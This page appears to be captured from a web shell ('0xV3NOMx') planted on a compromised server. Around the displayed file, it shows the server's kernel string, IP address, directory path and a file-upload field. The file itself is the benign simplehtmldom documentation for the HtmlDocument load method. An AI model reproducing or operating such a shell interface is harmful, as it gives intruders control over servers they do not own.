0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.144.40.90


Current Path : /var/www/website/nublr/Regulations/simplehtmldom/manual/docs/api/HtmlDocument/
Upload File :
Current File : /var/www/website/nublr/Regulations/simplehtmldom/manual/docs/api/HtmlDocument/load.md

---
title: load
---

```php
load ( string $str [, bool $lowercase = true [, bool $stripRN = true [, string $defaultBRText = DEFAULT_BR_TEXT [, string $defaultSpanText = DEFAULT_SPAN_TEXT [, int $options = 0 ]]]]]) : object
```

Loads the provided HTML document string.

| Parameter         | Description
| ---------         | -----------
| `str`             | The HTML document string.
| `lowercase`       | Tag names are parsed in lowercase letters if enabled.
| `stripRN`         | Newline characters are replaced by whitespace if enabled.
| `defaultBRText`   | Defines the default text to return for `<br>` elements.
| `defaultSpanText` | Defines the default text to return for `<span>` elements.
| `options`         | Additional options for the parser. Currently supports `'HDOM_SMARTY_AS_TEXT'` to remove [Smarty](https://www.smarty.net/) scripts.

Returns the object.